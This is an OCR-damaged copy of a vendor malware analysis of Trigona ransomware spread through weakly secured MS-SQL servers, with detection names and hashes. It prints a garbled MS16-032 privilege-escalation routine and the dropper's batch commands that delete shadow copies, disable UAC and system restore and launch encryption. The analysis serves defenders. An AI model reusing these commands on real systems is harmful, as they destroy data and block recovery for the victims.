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AhnLab Security Emergency response Center (ASEC) has recently discovered the Trigona ransomware being
installed on poorly managed MS-SQL servers. Trigona is a relatively recent ransomware that was first discovered
in October 2022, and Unit 42 has recently published a report based on the similarity between Trigona and the

CryLock ransomware. [1]
1. Poorly Managed MS-SQL Servers

Poorly managed MS-SQL servers typically refer to those that are exposed to external connections and have simple
account credentials, rendering them vulnerable to brute force or dictionary attacks. If a threat actor manages to log
in, control over the system will be passed to them, allowing them to install malware or execute malicious

commands.

Additionally, MS-SQL can be installed on both Windows servers and desktop environments. For example, there
are cases where MS-SQL is installed alongside certain ERP and work-purpose solutions during their installation
process. Because of this, Windows servers and Windows desktop environments can both be targeted for MS-SQL

Server attacks.

ASEC is monitoring attacks against poorly managed MS-SQL servers. ASEC Report is also sharing quarterly
statistics of information including the number of attacks and malware used in attacks. [2] Most malware types can
be used in these attacks, including Trojans, backdoors, CoinMiners, and ransomware. When it comes to

ransomware, Mallox and Globelmposter are the most used. [3]

5. Ransomware

Globelmposter (8.9%) = Mallox (90.9%)

Figure 7. Statistics on ransomware by type

Figure 1. Statistics for ransomware types used to attack MS-SQL servers
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2. CLR SqiShell

The system currently subject to analysis is an environment where an externally exposed MS-SQL server has been
installed and assumed to have inappropriate account credentials. This means that multiple threat actors have
already obtained the account credentials, and as a result, the detection logs of various ransomware such as Remcos
RAT and CoinMiners have been found.

It is presumed that the threat actor first installs the CLR SqlShell malware before installing Trigona. Although
multiple malware logs were confirmed together, the basis for this assumption comes from the time-based
similarity with the timing of the ransomware attacks and the fact that it was present in most of the systems where
Trigona attacks were carried out. In addition, this CLR SqlShell malware is confirmed to have a routine that
exploits privilege escalation vulnerabilities, which is believed to be due to the high privileges required by Trigona

as it operates as a service.

B svcservice.exe  Ransomware/Win.Generic Ransomware/Win.Generic %0SystemRootit\te
mp\sveservice.exe

@ tmp&340.imp  Trojan/Win.SqlShell Trojan/Win.5glShell %SystemRoot¥\te
mp\tmp8&340.tmp

Figure 2. CLR Shell malware detected alongside the Trigona ransomware

In MS-SQL environments, there are many methods to execute OS commands besides the xp_cmdshell command,
and one of them includes the use of the CLR extended procedure. This feature was originally used to provide
expanded features on SQL servers. However, threat actors can abuse this to add and use malicious functions. CLR
SqlShell is a type of CLR assembly malware that receives commands from threat actors and performs malicious

behaviors, similarly to the WebShells of web servers.

LemonDuck is an example of a malware strain that uses this CLR SqlShell. LemonDuck also targets MS-SQL
servers for internal network propagation and malicious behavior is performed after logging into the sa account
which is obtained through scanning and dictionary attacks. xp_cmdshell commands may be used for malicious
behavior, but the ExecCommand() method of this CLR SqlShell, evilclr.dll, is used when downloading additional
payloads.

The CLR SqlShell that has been confirmed during the Trigona ransomware attacks does not have a command
execution routine, but it supports functions such as privilege escalation (MS16-032) vulnerability exploitation,
information gathering, and user account configuration. A threat actor can use this to perform a variety of malicious

behaviors with a high privilege level.
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Figure 3. CLR Shell malware used in attacks

The routine used in the MS16-032 vulnerability exploitation is almost the same as the disclosed code, and it uses

its escalated privilege to execute the binary included inside of it.

if (M316_032.hThread == IntPtr.Zero)

{

. BglHelperProc.SendResult{"[!] No walid thread handle was captured, exiting!"};
return;

+

HE16_032, Get_SvstemTaken! )

if (M316_032.8ysTokenHandle == |ntPtr.Zero)

il

o return;

F

WS16.032, Advapi32.0uplicateToken{M216_032, SysTokenHandle, 2,

new Thread(delegated )
1

ref M316_032.h0uplicateTokenHandle)

for £,

.

g MS16_032, Advapi32.3etThreadToken( ref H316_032.hThread, HS16_032,h0uplicateTokenHandle)
b

biostartd n
Stopwatch stopwatch = Stopwatch. StartMew( )

while (stopwatch.Elapseddil|iseconds < 1000L)
1

ME16_032, STARTUPINFD startupinfo = default(HM216_032.3TARTURINFO 3
startupinfo.cb = Harshal.Size0f(startupinfo)
startupinfo. |plesktop = "WinstaO#fletault”:
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{
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if (IMS16_032, 4dvapi32.0penProcessToken(process_ INFORMATION hProcess, 40, ref zero))
i
SqlHelperProc, SendResult{"[!] Holy handle leak Batman, we have a SYSTEW shell!!" )

ME16.032 Kerne |32, ResumeThread{ process_ INFORMATION. hThread )
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' IntPtr zero =
E return:

Figure 4. Routine to exploit MS16-032 vulnerability

The “nt.exe” file created and executed through CLR SqlShell has the following simple features where the registry

is edited and the system is rebooted to change the SQL service account to LocalSystem.
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Figure 5. Routine to change the SQL service account to LocalSystem.

Thus, the MS-SQL process sqlservr.exe, which runs with the “NT Service\MSSQL$SQLEXPRESS” privilege, is
executed with LocalSystem privileges after the registry is edited and the system is rebooted. The threat actor can

then use the MS-SQL process that now has elevated privileges to carry out malicious behaviors.

WHKEY_LOCAL_MACHINE®SYSTEM#ControlSet001#ServicestMS SOLSSQLEXPRESS

MSKSSRY All oz £ 5 0|
m;ﬂgfm( (12 REG_SZ @m0 g
o 4 DelayedAutostart  REG_DWORD 0x00000001 (1)
MSRPC 9_‘_'] DependOnService  REG_MULTI_SZ KEYISO
W i ab) Description REG_S7 HiOjEe] 22X, Mo & Mo E
; MsSecFlt 9_‘_'] DisplayMame REG_SZ SQL Server (SQLEXPRESS)
: frasmbiGE .f-f-i:‘] ErrorControl REG_DWORD Ox00000001 (1)
MSSQLSSOLEXPRESS ab)ImagePath REG_EXPAND_SZ "C:#Program FileswMicrosoft SQL
MSTEE =T ObjectMame REG_SZ MNT SenvicestMSSOLESOLEXPRESS
MTConfig ) SenviceSidType REG_DWORD 0x00000001 (1)
[l sqlservr.exe 6048 NT AUTHORITYWSYSTEM Systern SQL Server Windows MT - 64 Bit
[5] sglceip.exe 5880 NT AUTHORITY®SYSTEM System Sgl Server Telemetry Client
[ svchost.exe 6004 NT AUTHORITY#LOCAL SERVICE System Host Process for Windows Services

Figure 6. Former registry value and the process execution account after system reboot

3. Trigona Ransomware

According to the infection logs, the Trigona ransomware is installed after the CLR SqlShell malware. The
following is a log from AhnLab’s ASD that shows the MS-SQL process sqlservr.exe installing Trigona under the

name svcservice.exe.

Process Module Behavior Data
B sqlservrexe Creates executable file

B svcservice.exe
B sqlservrexe Creates executable file

B svcservice.exe

Figure 7. Trigona ransomware installation log
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svcservice.exe is a dropper malware that operates as a service. When executed as a service, it creates and executes

the actual Trigona ransomware, svchost.exe, in the same path. It also creates and executes svchost.bat which is the

batch file responsible for executing the ransomware. svchost.bat first registers the Trigona binary to the Run key

to ensure that it can run even after a reboot. It then deletes volume shadow copies and disables the system

recovery feature, making it impossible to recover from the ransomware infection.

1

2

3

4 echo
5 echo
6 echo
7 echo
8 echo
9 echo
16 echo
11 echo
12 echo

@echo off
timeout 15
vssadmin Delete Shadows /fAll /Quiet

y|reg add HKLM\SOFTWARE\Microsofti\Windows\CurrentVersion\Run /v swchost /d “E~dp@svchost.exe”
y|rem disable NLa

y|REG ADD
y|reg add
y|reg add
y|reg add
y|reg add
y|reg add
y|reg add

13 cd X~dp@

"HKLMASOFTWARE\Microsoft\Windows\CurrentVersion‘\Policies\System™ /v EnableLUA /t REG_DWORD /d @ /f
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d @
"HKCUNSoftware\Pelicies\Microsofti\Windows\00BE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f
"HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
"HKLM\ASOFTWARE\Pclicies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
"HKLMASOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD™ /d "1" /f
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"” /v "DisableSR" /t "REG_DWORD" /d "1" /f

Figure 8. Routine to delete volume shadow copies and disable system recovery

Afterward, svchost.exe, which is the Trigona ransomware, is executed and the service “svcservice” that was

registered earlier is then deleted. Upon running Trigona, it is executed with arguments for each drive from C:\ to

Z:\.

start
start
start
start
start
start
start
start
start

svchost.exe /full /r /p
svchost.exe /full /r /p
svchost.exe ffull /r /p
svchost.exe /full /r /p
svchost.exe (full /r /p
svchost.exe /full /r /p
svchost.exe /full /r /p
svchost.exe /full /r /p
svchost.exe /full /r /p

S e . e e SR e

A2 O & < x MO X

sc stop sveservice
timeout 18

sc delete svcservice
timeout 18

rd /s
rd /s
rd /s

/T fg "Ci\sveservice.exe"”
/T fq "C:ihsveservice.  INSTALLLOG"
/T fgq "C:ihsveservice.INSTALLLOG™

DEL %@ /q .exe /F

Figure 9. Routine to execute Trigona ransomware

Trigona is a ransomware developed in Delphi that encrypts files without distinguishing their extensions. Files that

have been encrypted are suffixed with the “._locked” extension.
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| ] 9pd6lol49760haci 2ma278abxcsrpgOo3dak7watiysss.449dh660._Jocked Do
|_“| available_for_trial. 1wu0n12552675dzu034y02rdwesaelv4241.0t._|ocked D I
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[ how_to_decrypt hta HTML 28 o2 &
[ 7] ilkpxefkaltjzad2abloatazxcksr8dp7gu.vgs. _locked _LOCKED It

Figure 10. Encrypted files

A ransom note with the filename “how_to_decrypt.hta” is generated in each folder. The threat actor informs the
victim that their data has been encrypted with a secure AES algorithm and instructs them to install a Tor browser

and contact a specified address in order to initiate the recovery process.

EMCRYPTED

THE ENTIRE NETWORK IS ENCRYPTED

YOUR BUSINESS IS LOSING MONEY

A All documents, databases, A The program uses a secure A Ifyou refuse to negotiate, the
packups and other critical data AES algorithm, which makes data will be auctioned off
were encrypted and leaked decryption impossible without

contacting us

To recover your data, please follow the instructions

Download Tor Browser Open decryplion page Auth using this key
Download Copy Copy
The price depends on how soon you will contact us Meed help?
= Don't doubt = Don't waste time = Don't contact = Don't recover files
You can decrypt 3 Decryption price resellers Additional recoveny
files for free as a increases every They resell our software will damage
guarantee hour services at a premium vour data

Figure 11. Ransom note generated in encrypted folders

o Threat actor’s Onion address:
hxxp://3x5503u2b7cjs54eifjabm3ottxntlubhjzt6k6htpSnrocjmsxxh7ad[.]Jonion/

Typical attacks that target MS-SQL servers include brute force attacks and dictionary attacks to systems where
account credentials are poorly being managed. Admins must also use passwords that cannot be easily guessed and

change them periodically to protect the database servers from brute force and dictionary attacks.
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V3 should be updated to the latest version so that malware infection can be prevented. Administrators should also
use security programs such as firewalls for database servers accessible from outside to restrict access by external
threat actors. If the above measures are not taken in advance, continuous infections by threat actors and malware

can occur.

File Detection

— Ransomware/Win.Generic.C5384838 (2023.02.20.00)
— Trojan/BAT.Runner.SC187699 (2023.04.08.00)

— Trojan/Win.Generic.C5148943 (2022.05.30.00)

— Trojan.Win.SqlShell.C5310259 (2022.11.21.03)

— Unwanted.Win.Agent.C5406884 (2023.04.08.00)

Behavior Detection
— Ransom/MDP.Command.M2255
— Ransom/MDP.Event. M 1946

MD5

1cece45e368656d322b68467ad1b8c02
1e71a0bb69803a2ca902397e08269302
46b639d59fea86c21e5c4b05b3e29617
530967fb3b7d9427552e4ac181a37b9%a
5db23a2c723cbceabec8d5e545302dc4
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

AhnlLab TIP

Get Started with AhnlLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com
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